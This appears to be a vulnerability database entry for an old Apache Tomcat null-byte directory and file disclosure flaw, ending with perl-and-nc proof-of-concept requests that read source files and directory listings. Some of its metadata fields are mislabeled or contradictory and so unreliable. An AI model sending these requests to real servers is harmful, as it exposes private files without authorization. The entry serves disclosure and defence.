Directory/File Disclosure Vulnerability in Apache Tomcat

vendor:

Tomcat

by:

Unknown

5.5

CVSS

MEDIUM

Directory/File Disclosure

CWE

Product Name: Tomcat

Affected Version From: Unknown

Affected Version To: JDK 1.3.1 or earlier

Patch Exists: NO

Related CWE: CVE-2002-0364

CPE: a:apache:tomcat

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2003-198/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-CESA-2003-198/

Other Scripts:

Platforms Tested:

Unknown

Directory/File Disclosure Vulnerability in Apache Tomcat

Remote attackers can view directory contents and disclose the contents of files by exploiting the vulnerability in Apache Tomcat.

Mitigation:

Upgrade to a version of Apache Tomcat that is not affected by this vulnerability.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/6721/info

Apache Tomcat is prone to a directory/file disclosure vulnerability when used with JDK 1.3.1 or earlier.

It has been reported that remote attackers may view directory contents (even when an 'index.html' or other welcome file). It is also possible for remote attackers to disclose the contents of files.

This vulnerability is due to improper handling of null bytes (%00) and backslash ('\') characters in requests for web resources.

GET /<null byte>.jsp HTTP/1.0
$ perl -e 'print "GET /\x00.jsp HTTP/1.0\r\n\r\n";' | nc my.server 8080
$ perl -e 'print "GET /admin/WEB-INF\\classes/ContextAdmin.java\x00.jsp HTTP/1.0\r\n\r\n";'|nc my.server 8080
$ perl -e 'print "GET /examples/jsp/cal/cal1.jsp\x00.html HTTP/1.0\r\n\r\n";'|nc my.server 8080